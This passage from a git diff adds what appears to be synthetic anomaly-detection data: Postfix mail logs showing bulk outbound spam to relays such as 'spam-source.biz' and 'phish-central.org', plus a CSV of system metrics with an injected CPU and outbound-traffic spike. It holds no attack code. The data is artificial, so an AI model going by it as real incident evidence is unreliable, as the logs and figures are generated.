dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7C5EA5) +Jul 05 08:06:47 server postfix/smtp[27373]: E5A180DC1F: to=, relay=none, delay=0.86, delays=0.215/0.215/0.215/0.215, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:06:48 server postfix/smtp[25235]: 737140B376: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.49, delays=0.6225/0.6225/0.6225/0.6225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 51E6BB) +Jul 05 08:06:48 server postfix/smtp[25379]: 4FE619D4BA: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=0.57, delays=0.1425/0.1425/0.1425/0.1425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2458D4) +Jul 05 08:06:49 server postfix/smtp[20677]: EC7D18820A: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=2.37, delays=0.5925/0.5925/0.5925/0.5925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FFDFE8) +Jul 05 08:06:49 server postfix/smtp[23757]: F4FFA818C7: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.69, delays=0.4225/0.4225/0.4225/0.4225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 544234) +Jul 05 08:06:49 server postfix/smtp[29067]: D0F7DB252D: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.4, delays=0.6/0.6/0.6/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6B4DDE) +Jul 05 08:06:50 server postfix/smtp[24719]: 5967B0A765: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.64, delays=0.41/0.41/0.41/0.41, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B38741) +Jul 05 08:06:50 server postfix/smtp[28517]: 89678CD75D: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.57, delays=0.6425/0.6425/0.6425/0.6425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D06A8E) +Jul 05 08:06:50 server postfix/smtp[29737]: 78DA0D0842: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.84, delays=0.71/0.71/0.71/0.71, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C56029) +Jul 05 08:06:51 server postfix/smtp[22525]: 6DA886774C: to=, relay=none, delay=0.98, delays=0.245/0.245/0.245/0.245, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:06:51 server postfix/smtp[29936]: 3004159D5D: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.82, delays=0.455/0.455/0.455/0.455, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DD3E56) +Jul 05 08:06:53 server postfix/smtp[22206]: F24E169E33: to=, relay=none, delay=2.25, delays=0.5625/0.5625/0.5625/0.5625, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:06:53 server postfix/smtp[22677]: AE761F6BEF: to=, relay=none, delay=2.2, delays=0.55/0.55/0.55/0.55, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:06:53 server postfix/smtp[23035]: 4DA519ED69: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=0.7, delays=0.175/0.175/0.175/0.175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 988821) +Jul 05 08:06:53 server postfix/smtp[24470]: C243BCDFA3: to=, relay=none, delay=1.75, delays=0.4375/0.4375/0.4375/0.4375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:53 server postfix/smtp[26525]: 41B86746E1: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.73, delays=0.4325/0.4325/0.4325/0.4325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B2AA58) +Jul 05 08:06:54 server postfix/smtp[21102]: 69BD102453: to=, relay=none, delay=0.6, delays=0.15/0.15/0.15/0.15, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:06:54 server postfix/smtp[22033]: 5A2A1182EE: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=0.95, delays=0.2375/0.2375/0.2375/0.2375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7DEF34) +Jul 05 08:06:54 server postfix/smtp[24355]: C4CF144140: to=, relay=none, delay=1.5, delays=0.375/0.375/0.375/0.375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:06:55 server postfix/smtp[21700]: 38DF5CB084: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.04, delays=0.26/0.26/0.26/0.26, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DB49C8) +Jul 05 08:06:56 server postfix/smtp[22212]: 617EEA7949: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.66, delays=0.165/0.165/0.165/0.165, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DB733C) +Jul 05 08:06:56 server postfix/smtp[22273]: CB057D31D5: to=, relay=none, delay=1.5, delays=0.375/0.375/0.375/0.375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:06:56 server postfix/smtp[27183]: 256137AA64: to=, relay=example.com[192.0.2.15]:25, delay=1.87, delays=0.4675/0.4675/0.4675/0.4675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 45A584) +Jul 05 08:06:56 server postfix/smtp[28637]: 70878076C3: to=, relay=phish-central.org[192.0.2.15]:25, delay=0.94, delays=0.235/0.235/0.235/0.235, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 07D6F8) +Jul 05 08:06:57 server postfix/smtp[21496]: 68515D6ADC: to=, relay=spam-source.biz[203.0.113.88]:25, delay=2.24, delays=0.56/0.56/0.56/0.56, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 78882B) +Jul 05 08:06:57 server postfix/smtp[22279]: 1A513A0B99: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=0.7, delays=0.175/0.175/0.175/0.175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C44100) +Jul 05 08:06:57 server postfix/smtp[29714]: 3D576A19C4: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.35, delays=0.3375/0.3375/0.3375/0.3375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 446AA2) +Jul 05 08:06:58 server postfix/smtp[20755]: CB13C85238: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.61, delays=0.6525/0.6525/0.6525/0.6525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E4C018) +Jul 05 08:06:58 server postfix/smtp[21047]: C2055836E0: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.06, delays=0.515/0.515/0.515/0.515, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 62F63B) +Jul 05 08:06:58 server postfix/smtp[21076]: 25D64EA058: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.01, delays=0.5025/0.5025/0.5025/0.5025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 67D5F7) +Jul 05 08:06:58 server postfix/smtp[22262]: 31CAE8FE6B: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.81, delays=0.4525/0.4525/0.4525/0.4525, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 32806C) +Jul 05 08:06:58 server postfix/smtp[23773]: 5AE2CEB39D: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=0.65, delays=0.1625/0.1625/0.1625/0.1625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1F54C2) +Jul 05 08:06:59 server postfix/smtp[20971]: 820B9D8DF9: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.36, delays=0.59/0.59/0.59/0.59, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 915107) +Jul 05 08:07:00 server postfix/smtp[20643]: 4BA2F09F98: to=, relay=none, delay=2.85, delays=0.7125/0.7125/0.7125/0.7125, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:07:01 server postfix/smtp[20522]: 6180EF4E17: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.91, delays=0.7275/0.7275/0.7275/0.7275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 03CF55) +Jul 05 08:07:01 server postfix/smtp[23332]: 21EBC1CE84: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.27, delays=0.3175/0.3175/0.3175/0.3175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 95F301) +Jul 05 08:07:01 server postfix/smtp[23647]: AA2D822FD9: to=, relay=none, delay=2.13, delays=0.5325/0.5325/0.5325/0.5325, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:07:01 server postfix/smtp[29241]: 349163E7B8: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=0.86, delays=0.215/0.215/0.215/0.215, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 39718D) +Jul 05 08:07:03 server postfix/smtp[23249]: 770515088F: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.27, delays=0.3175/0.3175/0.3175/0.3175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0758F7) +Jul 05 08:07:03 server postfix/smtp[29395]: 38A5666FBF: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.3, delays=0.575/0.575/0.575/0.575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FDB51B) +Jul 05 08:07:03 server postfix/smtp[29962]: 5C7B2F1B2E: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.46, delays=0.365/0.365/0.365/0.365, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C9F13B) +Jul 05 08:07:05 server sshd[3376]: Accepted password for operator from 10.0.1.36 port 52439 ssh2 diff --git a/mali_dataset/scenario_5/mali_5_13.csv b/mali_dataset/scenario_5/mali_5_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..d677d4e20da106491c3d650fbe33de99c51d9cb5 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,17.72,41.04,11.9,1.41,1.07 +2025-08-26T14:00:05Z,15.0,37.86,5.06,0.62,1.23 +2025-08-26T14:00:10Z,14.43,38.64,9.72,1.39,0.96 +2025-08-26T14:00:15Z,11.85,41.99,9.64,1.31,0.93 +2025-08-26T14:00:20Z,17.64,42.64,6.2,0.77,1.27 +2025-08-26T14:00:25Z,13.87,44.41,9.99,0.71,0.6 +2025-08-26T14:00:30Z,19.7,42.93,12.03,0.8,0.59 +2025-08-26T14:00:35Z,12.02,43.29,13.99,0.86,1.27 +2025-08-26T14:00:40Z,10.13,44.47,11.02,1.45,0.67 +2025-08-26T14:00:45Z,10.65,38.23,8.95,0.81,1.09 +2025-08-26T14:00:50Z,13.14,36.3,9.17,0.8,0.59 +2025-08-26T14:00:55Z,11.82,40.76,13.73,0.66,1.48 +2025-08-26T14:01:00Z,16.97,42.86,6.2,1.26,0.55 +2025-08-26T14:01:05Z,14.81,40.01,10.28,1.07,1.12 +2025-08-26T14:01:10Z,13.38,37.03,13.7,0.8,1.43 +2025-08-26T14:01:15Z,10.44,41.39,10.29,1.39,1.22 +2025-08-26T14:01:20Z,12.67,38.03,6.41,0.65,1.43 +2025-08-26T14:01:25Z,16.27,44.26,13.52,1.04,1.0 +2025-08-26T14:01:30Z,19.74,44.27,6.66,1.23,1.06 +2025-08-26T14:01:35Z,19.42,38.73,6.57,1.4,1.11 +2025-08-26T14:01:40Z,17.3,44.09,11.71,1.28,0.71 +2025-08-26T14:01:45Z,15.27,35.44,6.06,0.9,1.31 +2025-08-26T14:01:50Z,14.69,37.04,9.57,1.14,0.69 +2025-08-26T14:01:55Z,10.9,35.7,8.9,0.65,0.72 +2025-08-26T14:02:00Z,16.43,42.68,14.65,0.73,1.43 +2025-08-26T14:02:05Z,13.49,39.21,7.71,0.73,0.99 +2025-08-26T14:02:10Z,13.78,39.62,8.73,1.39,0.82 +2025-08-26T14:02:15Z,13.3,35.12,11.66,0.75,1.48 +2025-08-26T14:02:20Z,17.71,42.4,10.25,0.63,0.77 +2025-08-26T14:02:25Z,12.39,37.75,9.07,0.62,1.04 +2025-08-26T14:02:30Z,47.08,43.85,10.81,1.65,27.42 +2025-08-26T14:02:35Z,44.74,45.28,15.64,2.98,29.65 +2025-08-26T14:02:40Z,43.03,38.53,13.78,1.41,23.49 +2025-08-26T14:02:45Z,49.94,38.47,10.83,1.23,18.2 +2025-08-26T14:02:50Z,54.61,41.58,17.63,1.17,15.07 +2025-08-26T14:02:55Z,49.2,43.42,9.95,1.29,28.2 +2025-08-26T14:03:00Z,46.64,36.44,12.32,1.1,20.58 +2025-08-26T14:03:05Z,63.22,37.97,14.57,2.13,27.78 +2025-08-26T14:03:10Z,56.01,37.96,16.37,2.92,20.4 +2025-08-26T14:03:15Z,46.84,45.86,8.83,2.44,21.41 +2025-08-26T14:03:20Z,63.19,38.34,15.82,1.52,16.58 +2025-08-26T14:03:25Z,45.07,41.42,14.09,2.15,21.88 +2025-08-26T14:03:30Z,48.48,36.08,10.17,2.88,24.2 +2025-08-26T14:03:35Z,62.07,36.57,8.68,2.77,20.99 +2025-08-26T14:03:40Z,49.22,42.67,11.87,2.43,24.64 +2025-08-26T14:03:45Z,49.25,44.09,17.86,2.27,26.71 +2025-08-26T14:03:50Z,57.94,43.48,13.08,1.74,23.04 +2025-08-26T14:03:55Z,64.23,41.86,12.07,1.4,15.85 +2025-08-26T14:04:00Z,62.88,42.24,12.18,2.65,25.04 +2025-08-26T14:04:05Z,47.78,41.17,17.05,2.84,16.65 +2025-08-26T14:04:10Z,48.68,39.98,9.56,1.74,29.84 +2025-08-26T14:04:15Z,59.06,37.62,10.5,2.41,26.54 +2025-08-26T14:04:20Z,59.19,37.44,8.52,2.6,19.13 +2025-08-26T14:04:25Z,55.32,39.91,8.4,1.24,21.34 +2025-08-26T14:04:30Z,51.98,43.9,17.66,1.13,22.2 +2025-08-26T14:04:35Z,52.61,42.44,10.12,1.99,18.34 +2025-08-26T14:04:40Z,64.14,44.81,9.95,2.81,21.55 +2025-08-26T14:04:45Z,45.15,42.45,14.11,1.08,15.09 +2025-08-26T14:04:50Z,58.75,36.93,10.64,2.07,25.49 +2025-08-26T14:04:55Z,46.15,38.35,17.11,2.74,17.34 +2025-08-26T14:05:00Z,46.83,36.95,16.98,1.55,29.72 +2025-08-26T14:05:05Z,46.18,38.24,10.07,1.85,22.79 +2025-08-26T14:05:10Z,58.93,39.66,14.24,1.02,19.88 +2025-08-26T14:05:15Z,42.55,36.59,10.23,1.38,23.77 +2025-08-26T14:05:20Z,40.67,37.21,13.09,1.13,19.63 +2025-08-26T14:05:25Z,63.11,42.21,12.8,2.34,22.85 +2025-08-26T14:05:30Z,50.45,37.65,17.09,1.6,19.66 +2025-08-26T14:05:35Z,60.95,44.69,10.38,2.51,26.1 +2025-08-26T14:05:40Z,54.99,45.11,14.98,1.98,20.95 +2025-08-26T14:05:45Z,46.87,36.08,14.2,2.75,28.86 +2025-08-26T14:05:50Z,63.4,45.44,12.79,2.48,16.96 +2025-08-26T14:05:55Z,64.47,37.32,13.0,2.22,17.44 +2025-08-26T14:06:00Z,41.41,38.18,15.56,2.44,25.41 +2025-08-26T14:06:05Z,42.1,39.95,9.29,2.01,18.77 +2025-08-26T14:06:10Z,58.32,45.55,8.59,1.07,23.39 +2025-08-26T14:06:15Z,49.29,45.61,14.51,2.62,23.59 +2025-08-26T14:06:20Z,47.0,40.93,10.16,2.95,19.99 +2025-08-26T14:06:25Z,51.04,36.39,8.75,2.53,22.73 +2025-08-26T14:06:30Z,61.06,37.78,16.31,1.55,21.05 +2025-08-26T14:06:35Z,44.57,39.02,9.97,2.46,26.0 +2025-08-26T14:06:40Z,13.26,43.51,11.32,1.18,0.69 +2025-08-26T14:06:45Z,13.0,37.73,14.54,1.02,1.12 +2025-08-26T14:06:50Z,19.24,40.87,11.24,1.22,1.05 +2025-08-26T14:06:55Z,17.54,42.36,6.2,1.42,1.23 +2025-08-26T14:07:00Z,19.62,43.13,9.89,1.33,0.98 +2025-08-26T14:07:05Z,12.74,39.22,10.77,0.5,0.64 +2025-08-26T14:07:10Z,17.2,42.51,12.98,0.91,0.99 +2025-08-26T14:07:15Z,18.91,40.03,14.61,1.47,0.94 +2025-08-26T14:07:20Z,17.84,36.42,13.37,0.7,1.24 +2025-08-26T14:07:25Z,11.72,43.85,13.51,0.73,0.61 diff --git a/mali_dataset/scenario_5/mali_5_13.log b/mali_dataset/scenario_5/mali_5_13.log new file mode 100644 index 0000000000000000000000000000000000000000..b903f620dd5c9aee70741cd8bd138767c9fa90d2 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_13.log @@ -0,0 +1,257 @@ +Aug 26 14:00:00 server systemd[1]: Starting daily clean up activities... +Aug 26 14:00:00 server postfix/smtp[1521]: A3F8E8008F: to=, relay=mail.internal.com[10.0.0.5]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:00:50 server systemd[1]: Starting daily clean up activities... +Aug 26 14:01:15 server postfix/smtp[1521]: A3F8E8008F: to=, relay=mail.internal.com[10.0.0.5]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:01:40 server systemd[1]: Starting daily clean up activities... +Aug 26 14:02:30 server postfix/smtp[1551]: 8F505C5C35: to=<99oafpqa@web-host.org>, relay=mx.web-host.org[130.155.42.69]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:30 server postfix/smtp[1551]: 18EBD34B9E: to=, relay=mx.emailprovider.co[183.72.251.5]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:30 server postfix/smtp[1551]: 8F812D623C: to=, relay=mx.randomsite.biz[165.127.11.151]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:30 server postfix/smtp[1551]: FEA979E9A1: to=, relay=mx.example.com[128.173.180.7]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:30 server postfix/smtp[1551]: 7DB2A1D889: to=<9spsdujh@emailprovider.co>, relay=mx.emailprovider.co[137.50.234.144]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:30 server postfix/cleanup[1630]: 9A4E12BE0F: message-id= +Aug 26 14:02:30 server postfix/bounce[1730]: 9A4E12BE0F: sender non-delivery notification: 9A4E12BE0FB +Aug 26 14:02:35 server postfix/smtp[1552]: A1D4675089: to=, relay=mx.emailprovider.co[188.239.35.66]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:35 server postfix/smtp[1552]: 124DFA1C6D: to=, relay=mx.emailprovider.co[152.103.36.218]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:35 server postfix/smtp[1552]: 4C69A715AC: to=, relay=mx.randomsite.biz[100.125.94.146]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:40 server postfix/smtp[1553]: 706F7C01D8: to=, relay=mx.mailservice.net[120.223.113.236]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:40 server postfix/smtp[1553]: 52E2376A72: to=, relay=mx.web-host.org[107.50.187.66]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:40 server postfix/smtp[1553]: CA28ED7476: to=, relay=mx.emailprovider.co[125.211.41.94]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:40 server postfix/smtp[1553]: 77D831519D: to=<2ozydjpc@mailservice.net>, relay=mx.mailservice.net[150.60.219.88]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:40 server postfix/smtp[1553]: CAEC42839D: to=, relay=mx.example.com[115.157.110.215]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:45 server postfix/smtp[1554]: 2914CC9C81: to=, relay=mx.example.com[188.193.133.99]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:45 server postfix/smtp[1554]: 7420071414: to=, relay=mx.web-host.org[168.131.204.147]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:45 server postfix/smtp[1554]: 7ACED01B46: to=<29qg90oy@emailprovider.co>, relay=mx.emailprovider.co[194.163.156.33]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:45 server postfix/smtp[1554]: 0C96E17476: to=, relay=mx.mailservice.net[110.30.17.31]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:45 server postfix/smtp[1554]: 3D53C1D5EE: to=<5krwuds6@web-host.org>, relay=mx.web-host.org[106.93.72.200]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:45 server postfix/smtp[1554]: 927298D673: to=<5tpcpdlp@example.com>, relay=mx.example.com[108.231.245.212]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:50 server postfix/smtp[1555]: AB8E390E3E: to=, relay=mx.randomsite.biz[119.173.163.180]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:50 server postfix/smtp[1555]: 8F8A7ED201: to=<7sum92i6@example.com>, relay=mx.example.com[114.138.205.80]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:50 server postfix/smtp[1555]: FBA3E955B7: to=<6jnifhte@example.com>, relay=mx.example.com[179.191.146.113]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:55 server postfix/smtp[1556]: 09CD24DF72: to=, relay=mx.emailprovider.co[132.166.156.129]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:55 server postfix/smtp[1556]: F310F528D6: to=<0s1lynne@randomsite.biz>, relay=mx.randomsite.biz[157.215.90.146]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:55 server postfix/smtp[1556]: C1AA42F87D: to=, relay=mx.emailprovider.co[197.197.112.138]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:55 server postfix/smtp[1556]: 452A843DD2: to=, relay=mx.mailservice.net[146.131.25.211]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:55 server postfix/smtp[1556]: 4D12EC19A6: to=, relay=mx.emailprovider.co[186.137.220.142]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:02:55 server postfix/cleanup[1635]: 8573BF6F2B: message-id= +Aug 26 14:02:55 server postfix/bounce[1735]: 8573BF6F2B: sender non-delivery notification: 8573BF6F2BB +Aug 26 14:03:00 server postfix/smtp[1557]: F2CA8FD162: to=, relay=mx.randomsite.biz[171.133.43.122]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:00 server postfix/smtp[1557]: 0019E0CD90: to=, relay=mx.randomsite.biz[154.132.63.243]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:00 server postfix/smtp[1557]: F3CB4E1725: to=, relay=mx.randomsite.biz[159.142.210.176]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:00 server postfix/smtp[1557]: EF8BC45F10: to=<8rpx6259@emailprovider.co>, relay=mx.emailprovider.co[189.142.159.222]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:00 server postfix/smtp[1557]: 6F93670736: to=, relay=mx.mailservice.net[153.29.226.96]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:05 server postfix/smtp[1558]: 4E1D7B4BD5: to=<8azcyq6w@randomsite.biz>, relay=mx.randomsite.biz[157.141.243.104]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:05 server postfix/smtp[1558]: D028771F61: to=<0vjbh6ju@emailprovider.co>, relay=mx.emailprovider.co[179.38.210.36]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:05 server postfix/smtp[1558]: FD833025EB: to=, relay=mx.web-host.org[175.198.42.216]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:10 server postfix/smtp[1559]: 1C3D4777DA: to=, relay=mx.emailprovider.co[197.203.153.1]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:10 server postfix/smtp[1559]: 772E61ACA9: to=, relay=mx.emailprovider.co[187.67.31.98]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:10 server postfix/smtp[1559]: 92DC58AAEE: to=, relay=mx.mailservice.net[159.192.110.232]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:15 server postfix/smtp[1560]: 1BF1516E87: to=<6b2nhv4j@web-host.org>, relay=mx.web-host.org[158.168.135.100]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:15 server postfix/smtp[1560]: F64C56E58C: to=<7wfnj984@randomsite.biz>, relay=mx.randomsite.biz[111.51.92.211]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:15 server postfix/smtp[1560]: DD66C0D455: to=, relay=mx.mailservice.net[163.31.77.145]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:15 server postfix/smtp[1560]: A80D0E15BC: to=, relay=mx.emailprovider.co[132.162.197.78]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:15 server postfix/smtp[1560]: 3975DD6E55: to=, relay=mx.emailprovider.co[146.70.181.1]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:20 server postfix/smtp[1561]: 04157FE93D: to=, relay=mx.randomsite.biz[189.218.151.232]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:20 server postfix/smtp[1561]: D4714AAD73: to=, relay=mx.web-host.org[151.182.223.142]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:20 server postfix/smtp[1561]: 635DAB46A4: to=<4v0q1gmx@emailprovider.co>, relay=mx.emailprovider.co[163.135.55.201]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:20 server postfix/smtp[1561]: 5BC0F28E8C: to=, relay=mx.web-host.org[185.235.53.54]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:20 server postfix/smtp[1561]: 395AEF078E: to=, relay=mx.emailprovider.co[144.20.104.227]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:20 server postfix/smtp[1561]: B47A10A19F: to=, relay=mx.randomsite.biz[132.136.72.155]:25, delay=1.2, delays=0.1/0/0.5/0.6, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 26 14:03:20 server postfix/cleanup[1640]: 1558C41FA2: message-id= +Aug 26 14:03:20 server postfix/bounce[1740]: 1558C41FA2: sender non-delivery notification: 1558C41FA2B +Aug 26 14:03:25 server 